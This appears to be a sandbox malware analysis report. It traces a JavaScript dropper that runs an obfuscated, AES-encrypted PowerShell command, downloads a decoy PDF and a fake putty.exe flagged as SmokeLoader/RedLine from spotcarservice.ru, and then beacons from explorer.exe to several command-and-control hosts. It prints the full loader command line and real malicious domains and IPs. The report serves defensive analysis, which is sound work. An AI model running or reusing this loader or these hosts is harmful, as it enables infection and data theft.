Dec 18, 2024 09:21:47.771719933 CET	89	OUT	GET /fdjskf88cvt/invoce.pdf HTTP/1.1 Host: spotcarservice.ru Connection: Keep-Alive
Dec 18, 2024 09:21:49.119394064 CET	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Dec 2024 08:21:48 GMT Content-Type: application/pdf Content-Length: 145906 Connection: keep-alive Last-Modified: Tue, 05 Nov 2024 01:44:17 GMT ETag: "239f2-626208a0a3e40" Accept-Ranges: bytes Data Raw: 25 50 44 46 2d 31 2e 37 0a 25 e2 e3 cf d3 0a 31 20 30 20 6f 62 6a 0a 3c 3c 0a 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 0a 2f 4c 65 6e 67 74 68 20 32 20 30 20 52 0a 2f 4c 65 6e 67 74 68 31 20 34 33 34 38 30 0a 2f 4c 65 6e 67 74 68 32 20 30 0a 2f 4c 65 6e 67 74 68 33 20 30 0a 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c ed bd 09 58 54 47 b6 38 5e 55 77 eb db eb ed a6 e9 85 ad 6f 0b 34 68 b3 09 ad b8 10 b9 c8 a2 04 15 14 54 48 42 04 05 85 b8 b0 6b 56 35 bb 9a 4c 34 93 c5 6c 33 9a 4c a2 d9 45 88 0a 1a 27 64 5f e6 e5 c5 99 2c 63 96 99 f8 32 66 9b 84 89 33 e3 38 26 4a f3 3f 55 b7 41 4c 32 f3 bd f7 fe cb f7 fb 7f 5f ba a9 5b eb a9 3a 75 ea d4 a9 73 aa ea 36 08 23 84 8c 68 23 e2 90 ba 6c 6d a7 3a fc e2 53 b3 20 e5 49 84 a4 ba e5 ad 2b 56 1f 4c b1 ef 42 c8 60 46 48 9c b1 62 d5 15 cb 37 2f f9 73 2e 42 d6 39 08 cd 7f b2 a9 b1 be e1 ab bb 56 42 fe 92 d3 00 33 b9 09 12 1c eb e5 10 42 75 59 10 4f 6a 5a dd 79 f9 99 8b 52 de 84 78 15 42 f8 c9 55 2d cb ea 91 6d fb 11 84 96 42 36 ee 5e 5d 7f 79 ab a1 41 bc [TRUNCATED] Data Ascii: %PDF-1.7%1 0 obj<</Filter /FlateDecode/Length 2 0 R/Length1 43480/Length2 0/Length3 0>>streamxXTG8^Uwo4hTHBkV5L4l3LE'd_,c2f38&J?UAL2_[:us6#h#lm:S I+VLB`FHb7/s.B9VB3BuYOjZyRxBU-mB6^]yAe_ eBV\|m?AnPBG\y8>3z{UCnt{DTxO4BNT\h!*<[kDt0#Q.F%){p_=\|Zu<T>&[mQyf-$8(jSD7{{BwQI-W(<-EhZ+?G"BS3Os#yxb^1[8?P4:Y-6tO#33(2YG_h6_X{K(z[vF :m>Dcx)Iy{{c@D4D?-,@Y_[v\|t?y=c3<(AW@_^O.;:<7q7>&2GI+<BqsJM&^#Tc(z-p#96>?_/V:&\|'~D;L'Eji:]G
Dec 18, 2024 09:21:49.119452000 CET	1236	IN	Data Raw: 77 42 eb 6f c1 f7 08 f9 80 fc 81 7c 45 fe c1 09 dc 38 6e 32 d7 c6 3d c8 75 73 7d dc 11 ee 33 5e e1 03 7c 06 3f 91 2f e7 2f e2 87 61 64 b2 85 59 42 a5 f0 a8 f0 84 f0 82 70 42 cc 13 1b c4 56 f1 0b e9 3a e9 06 c3 7f 0c 4d 18 fa 63 18 85 9b c2 dd e1 Data Ascii: wBo\|E8n2=us}3^\|?//adYBpBV:Mc^]p@_1x(1tF!q=2</F\|"AR@*I=i$73=H^'d0ws\rqskz[ O+{3o9j>$<'gE
Dec 18, 2024 09:21:49.119463921 CET	1236	IN	Data Raw: 37 be 11 9a 54 69 4f 68 af f4 fe 35 26 16 d3 94 ba cb d4 6e 39 71 66 62 d3 96 cb ea 60 68 62 b6 74 a3 05 57 f8 7b 62 62 b4 fe e1 63 28 a6 58 dd 52 55 9d e8 ef ce 8f 4d ac a9 2f 8a db eb 44 5b 16 5c d1 eb d5 54 ef f9 39 e9 69 7b 15 bb 4e d8 bd 56 Data Ascii: 7TiOh5&n9qfb`hbtW{bbc(XRUM/D[\T9i{NV[$`4+NCeF))F20N>M)h)P>5`D-4Nd%Q8)1YA'#`{"R!)8'#[< LtoRto_U4i
Dec 18, 2024 09:21:49.119610071 CET	672	IN	Data Raw: 5d 45 37 6b 71 53 1c 53 e2 4b 1d 60 e1 09 26 27 e7 34 25 71 af 99 3f e3 3e 35 7f e1 90 25 1b 1d 34 9b aa 25 05 42 7b 54 7c 42 c5 aa 6a 75 43 5a 0f 12 3d 34 2b ca 6a 94 a2 fc 3c 1f e7 3f 62 c4 c6 82 71 6e 4f c0 4a 3b 61 a3 9d b0 e2 13 56 fc b1 15 Data Ascii: ]E7kqSSK`&'4%q?>5%4%B{T\|BjuCZ=4+j<?bqnOJ;aV[HGjs2sP` I{p^6s0(9'dgW[j2kRs+'g*:4sZ@SXKl<GI\HAP%B5>
Dec 18, 2024 09:21:49.119621992 CET	1236	IN	Data Raw: b5 71 b1 77 85 d8 14 dd a4 36 25 8a 24 3e c6 6a 77 66 01 fe 3d 26 53 12 f5 9c a6 09 87 80 0b 05 94 00 7d 4a 16 c6 c7 48 08 29 d6 dc 82 1c bf 62 c0 86 d3 4a 4a 0a 52 02 b6 f4 74 ac d8 b0 ed b4 df ef ae 9e 0c bd 1b aa cd cb ce 54 86 d8 a3 76 f0 38 Data Ascii: qw6%$>jwf=&S}JH)bJJRtTv8tAsrxmmjTd;$q\ A@&PN-.}cvv}WS_^p'at&?;kWyVu7>-/e}CO3'<_o_^Z49o
Dec 18, 2024 09:21:49.119632959 CET	1236	IN	Data Raw: 5b 70 65 42 65 c5 ce b3 57 61 d3 7b 1f 63 7b 78 77 b8 0b 34 b7 07 0e 70 71 9b ee be ea d6 db 6e dc c8 f8 73 31 c8 02 8f b0 0b 74 83 9b fa 11 3f 7c 4c 9b 68 b3 87 8c a6 18 d3 34 7e 8a 71 b6 b0 c8 f4 b8 e9 d7 a6 37 4d ef 9b 8c 7e 58 e2 39 09 f9 4c Data Ascii: [peBeWa{c{xw4pqns1t?\|Lh4~q7M~X9L&i78% .`^20{3%Pf%b,#tzf!h*C$M6s(Z$w8rs;u-U\|B8\-LiJrp0x\|0Ff3j>nx7
Dec 18, 2024 09:21:49.119735956 CET	1236	IN	Data Raw: 96 fa 41 f0 af a6 3b 24 9e a1 20 13 a0 6d b8 16 27 3b fc 2a 3f 62 74 f3 fe 71 49 29 e7 d4 85 c4 49 23 7a 03 5e 1e 3e 56 8b 9f 01 54 a5 cb 2f ff f9 cf c3 9f 86 3f fb 2c 7c aa 10 db 26 dc b2 fc d6 8d b7 ff bc 70 dc a6 6d 5d ab 0f f2 13 0a f1 f2 3f Data Ascii: A;$ m';?btqI)I#z^>VT/?,\|&pm]?}rjnw5fl1{ng~#-&-+,k-7[_@ -+;%gd[l\|JNHTZk2LGLd2Mm&E+U&8XvcCGSZM&
Dec 18, 2024 09:21:49.119782925 CET	1236	IN	Data Raw: ca 01 d7 ef a3 3f 15 4f 89 26 8b d9 8c 11 91 92 a3 64 b3 49 b5 bc 05 f3 b2 8f dc a2 8d d3 62 2b 62 eb 62 b9 d6 d8 8d b1 44 8d cd 8a dd 19 3b 10 cb c7 62 a2 22 d5 9b e5 1d f0 72 5e 28 d6 1b 33 b1 6b 44 a5 1f ca 9b ab d4 b6 b5 9f aa d5 0f 5c 06 61 Data Ascii: ?O&dIb+bbD;b"r^(3kD\aVFv$nM"G-PD&SMQ[^1f]{/<)^q\l8\|k_=zO#NiCg$x4x6ir\|e2-+_pEL2@9%cI@PIy^
Dec 18, 2024 09:21:49.119793892 CET	1236	IN	Data Raw: 3d 36 e6 69 56 65 2a 6f 50 a6 0a 06 3b f8 f6 a9 ba 44 a9 19 d9 22 96 63 bd b0 c0 47 61 7a fb 31 b2 87 c9 36 8a cb e6 57 1f 46 b1 c3 c7 80 9d 8e 41 a5 c7 22 f2 a8 b6 16 db fd 93 1d d4 6a 1d d9 d2 9c 9c 14 19 5a 91 17 25 de 7c 36 45 d9 f9 f5 af 83 Data Ascii: =6iVe*oP;D"cGaz16WFA"jZ%\|6Ek/gBXpo6^vUoeKNVt,n;sr{FXG@WjMS&^DShZ+5Hv$)N2wp>\|fTTk~-7eu6<tEq\
Dec 18, 2024 09:21:49.119805098 CET	1236	IN	Data Raw: 6b 4c b8 ad bd d6 4e b7 80 b1 7e b6 cf 58 03 97 e1 45 38 09 4f 0a db e7 3f 7a e3 f5 17 e6 e7 ac a8 19 2f 1c 1c 92 c8 b7 67 76 ed 3b 6c ff 88 2f bb 1a e6 c7 ad 40 d0 67 d8 7c 69 06 da f2 e8 57 08 19 ee 02 3a c8 c8 85 c6 a1 00 76 68 33 4d 24 96 7c Data Ascii: kLN~XE8O?z/gv;l/@g\|iW:vh3M$\|k7\ilQkoo8^~ds?!&JtK8aHD0X,1tgbsy}!3(Dd#A_a^]+j6jo$%)%f,eT2ctOX IgX[~,'
Dec 18, 2024 09:21:49.239429951 CET	1236	IN	Data Raw: 4c fa 44 2f c9 d1 55 b8 94 40 e2 5d f8 43 6c 5d b0 fe f1 a5 db e7 5d f6 fa f3 0f ed 59 5b 78 e9 ec 49 3b 85 83 2e ff 1f f6 dc dc d7 6c 8f 1e fa 3d ff 42 b8 2e 63 69 41 45 93 c5 c8 ee 53 b0 fb 8b c0 7b 71 f8 57 fd 48 01 63 be c4 34 f5 5e f9 3e cb Data Ascii: LD/U@]Cl]]Y[xI;.l=B.ciAES{qWHc4^>n!/`pdXb,Ox_5{?-8[\-hi\|\|3l:*uztvpj~0]=qlV[h'@{W&$83_QLf\|oo
Dec 18, 2024 09:21:50.151493073 CET	64	OUT	GET /fdjskf88cvt/putty.exe HTTP/1.1 Host: spotcarservice.ru
Dec 18, 2024 09:21:50.600955963 CET	1236	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 18 Dec 2024 08:21:50 GMT Content-Type: application/x-msdos-program Content-Length: 331264 Connection: keep-alive Last-Modified: Wed, 18 Dec 2024 06:47:16 GMT ETag: "50e00-62985c8c4e500" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 22 d9 df c2 66 b8 b1 91 66 b8 b1 91 66 b8 b1 91 78 ea 24 91 7c b8 b1 91 78 ea 35 91 54 b8 b1 91 78 ea 32 91 e1 b8 b1 91 41 7e ca 91 65 b8 b1 91 66 b8 b0 91 e6 b8 b1 91 78 ea 3b 91 67 b8 b1 91 78 ea 25 91 67 b8 b1 91 78 ea 20 91 67 b8 b1 91 52 69 63 68 66 b8 b1 91 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 b4 5c e9 64 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 09 00 00 6c 04 00 00 0e 01 00 00 00 00 00 e7 88 00 00 00 10 00 00 00 80 04 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 80 05 00 00 04 00 00 23 c5 05 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$"fffx$\|x5Tx2A~efx;gx%gx gRichfPEL\dl@# p(@98@.textjl `.datadp@.rsrc9@:@@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.11	49796	94.156.177.51	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 09:22:21.330897093 CET	282	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gfplckurltmm.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 159 Host: constractionscity1991.lat
Dec 18, 2024 09:22:21.330952883 CET	159	OUT	Data Raw: a1 5f 7e 5c 8e 33 5d b9 cd 39 d7 ba f9 b7 52 3f 52 33 c6 2a 60 c1 43 2b a1 27 be 1d 77 fc 72 50 bf 50 d9 89 4a a2 72 4e 59 bb cd 11 b5 5f 03 29 db 73 6b 1e cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be ba 30 40 88 Data Ascii: _~\3]9R?R3*`C+'wrPPJrNY_)sk2m-^JrC)0@MD_U4xV<5`"#4<3EbeF=j7WE,
Dec 18, 2024 09:22:22.689446926 CET	595	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 18 Dec 2024 08:22:22 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 64 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19d<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at constractionscity1991.lat Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.11	49802	94.156.177.51	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 09:22:23.320658922 CET	285	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://gvogltyuxqqhq.com/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 267 Host: restructurisationservice.ru
Dec 18, 2024 09:22:23.320679903 CET	267	OUT	Data Raw: a1 5f 7e 5c 8e 33 5d b9 cd 39 d7 ba f9 b7 52 3f 52 33 c6 2a 60 c1 43 2b a1 27 be 1d 77 fc 72 50 bf 50 d9 89 4a a2 72 4e 59 bb cd 11 b5 5f 03 29 db 73 6b 1e cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be f7 56 43 84 Data Ascii: _~\3]9R?R3`C+'wrPPJrNY_)sk2m-^JrC)VC6X#4hU}'##H@>>-^J,aCnkY2nD`U:+@XIl.\G5lNsjkxGdFk<\6[-QQsZ;!
Dec 18, 2024 09:22:24.691345930 CET	597	IN	HTTP/1.1 404 Not Found Server: nginx Date: Wed, 18 Dec 2024 08:22:24 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 39 66 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e [TRUNCATED] Data Ascii: 19f<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.62 (Debian) Server at restructurisationservice.ru Port 80</address></body></html>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.11	49808	109.70.26.37	80	2592	C:\Windows\explorer.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 09:22:25.713629007 CET	279	OUT	POST / HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded Accept: / Referer: http://ydyaqkkintpc.org/ User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Content-Length: 342 Host: connecticutproperty.ru
Dec 18, 2024 09:22:25.713671923 CET	342	OUT	Data Raw: a1 5f 7e 5c 8e 33 5d b9 cd 39 d7 ba f9 b7 52 3f 52 33 c6 2a 60 c1 43 2b a1 27 be 1d 77 fc 72 50 bf 50 d9 89 4a a2 72 4e 59 bb cd 11 b5 5f 03 29 db 73 6b 1e cf 32 6d 2d d9 82 ec 5e cd da f3 84 e5 8c 8d e0 18 1d ce ca bf 4a 72 43 29 be ad 16 40 8d Data Ascii: _~\3]9R?R3*`C+'wrPPJrNY_)sk2m-^JrC)@cK]YshH\|0_:q#^QiKCOwkyAjBolBkdi%\]QNxJU#pVIGvdi':m9(zpU {k7~g2Y

Target ID:	5
Start time:	03:21:41
Start date:	18/12/2024
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\#U0421#U043a#U0430#U043d-#U043a#U043e#U043fi#U044f #U0414#U043e#U0433#U043e#U0432i#U0440.js"
Imagebase:	0x7ff6ed480000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:21:43
Start date:	18/12/2024
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function YYjd($AhlAc){return -split ($AhlAc -replace '..', '0x$& ')};$KPwC = YYjd('9626AC9CA11F87600DA3D4D6512002C7DBD2692A7FD524BB4FD120B8703E62B78823EC832238DD1518E4463172663BB7581F6638A4DB36633FD4587EACB1F6E92783B536B0033981A9BBB7B3820BBB662B2DEEBB46C45FDA20758EFD8966EE737A4FFE51B0B05B720AD71E578EF1CDD1C5D079B0871D75CA28175427ED824C17AE205EB3D16B2CB56DBE2EEF7CD9B26A80A26195C5A4212C391BE6FA8471B32E1FECC1A8AB39510DC769DFF298CAF994FD115AC6D93557D0C2ADC21BEA849D901B562C394F376197052590BA05267E31E9F7A737740706C07FEB1A99508B4DAB29313E96415058C85F28827900D80E5D145B64CD02FCD51C7880852E1C4DFBF891DC5482A7B37E5BD8C81C2DFC9FCD49AE7D7055FCA9A57228762073D80AB71A7A99E8E21A8BE8B7B66C00A9D1192A801A2D026D3D7D5C22467949B4555D9370AA40B4FA9A3A2BA54F4DC8CEF827955BA500A1F5547EC70CBB8F8B0ED68FCF3402F7E74AE0A1912A6903222DB9BB5BA07AC2CC865B4770BFEB2AE1929DDA9E6F2B18934C8790DBC2A20E2617C410434BC21BC5EC2FACED22799A39CEDE8A16C040DA945AC83B21A48D1EF157A3FF92A7B4C17B44BFBF9361306729775078D6ABF1025EC18617C0409B64FC7A378CD9EFC0B2EB21A213221986A49AD0D6E7B08210CF163B19B73128352A80894F065CDC9B095DB8513360C157D95D4AD51DA58BDC71AAFA4E8F8BBD2A07BE25F3E32A4D5337B04B3C8D8E8855946E1D6B0C403E07B4E3B937C6615DE848917188BD1DCE38F70A40CDA365782300D6E5D5EED0DAA2C5C600F3366672239898766852527C4283B3DA965F9A86F861214192089A34C1CE5380EE7D6E0F386E744119906B947C7758BB4D7B8A325C60653292B6C08C97385DDC4F7F5AB31EAE51E4F906F9D17C398E252EEA05547754176EF723FDBD120525A42AC182E5EB4B575DBBFA9C5A468028141761CEEC0A3225665EF3C6B84622C514A2DCA8516179C4F22D4B9C04F7856080B6F50F14FFCACC0D37A5DCB8B05A861748AA499BE5ADBAEF60DAA641DC3547F92E711E7D70DF4FF551B3D81D829F09839D1E7B12264274B34EC2BB736771ED9B7D5B2DD00090DFE4C97D6C7684F6B2274906AFDB0357F7F48B7B50440E3B5A6FF709B7581916322D76ED40C49674645626922643643DD0E89524AD1811687A9C7C8A93CDD6C520CFCDF968742122C005D2F8128AD8A2FAB7F5D8FE45');$ajka=-join [char[]](([Security.Cryptography.Aes]::Create()).CreateDecryptor((YYjd('514E694341537749566378795955644F')),[byte[]]::new(16)).TransformFinalBlock($KPwC,0,$KPwC.Length)); & $ajka.Substring(0,3) $ajka.Substring(3)
Imagebase:	0x7ff6eb350000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:21:43
Start date:	18/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff68cce0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	03:21:49
Start date:	18/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Roaming\invoce.pdf"
Imagebase:	0x7ff688b00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	11
Start time:	03:21:50
Start date:	18/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6e9af0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	03:21:50
Start date:	18/12/2024
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff68dea0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	13
Start time:	03:21:50
Start date:	18/12/2024
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2096 --field-trial-handle=1740,i,7611697812648605537,3973104547024125911,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6e9af0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	14
Start time:	03:21:52
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Roaming\putty.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\putty.exe"
Imagebase:	0x400000
File size:	331'264 bytes
MD5 hash:	C09AA26230A2083DA9032866FD33703D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 0000000E.00000002.1491225165.00000000004F0000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000E.00000002.1491341577.0000000000500000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000E.00000002.1491341577.0000000000500000.00000004.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000E.00000003.1407211942.0000000000500000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 0000000E.00000002.1491059893.0000000000470000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_SmokeLoader_2, Description: Yara detected SmokeLoader, Source: 0000000E.00000002.1491547091.0000000000571000.00000004.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_4e31426e, Description: unknown, Source: 0000000E.00000002.1491547091.0000000000571000.00000004.10000000.00040000.00000000.sdmp, Author: unknown
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	03:21:59
Start date:	18/12/2024
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\Explorer.EXE
Imagebase:	0x7ff611de0000
File size:	5'141'208 bytes
MD5 hash:	662F4F92FDE3557E86D110526BB578D5
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	21
Start time:	03:22:21
Start date:	18/12/2024
Path:	C:\Users\user\AppData\Roaming\therfaa
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\therfaa
Imagebase:	0x400000
File size:	331'264 bytes
MD5 hash:	C09AA26230A2083DA9032866FD33703D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
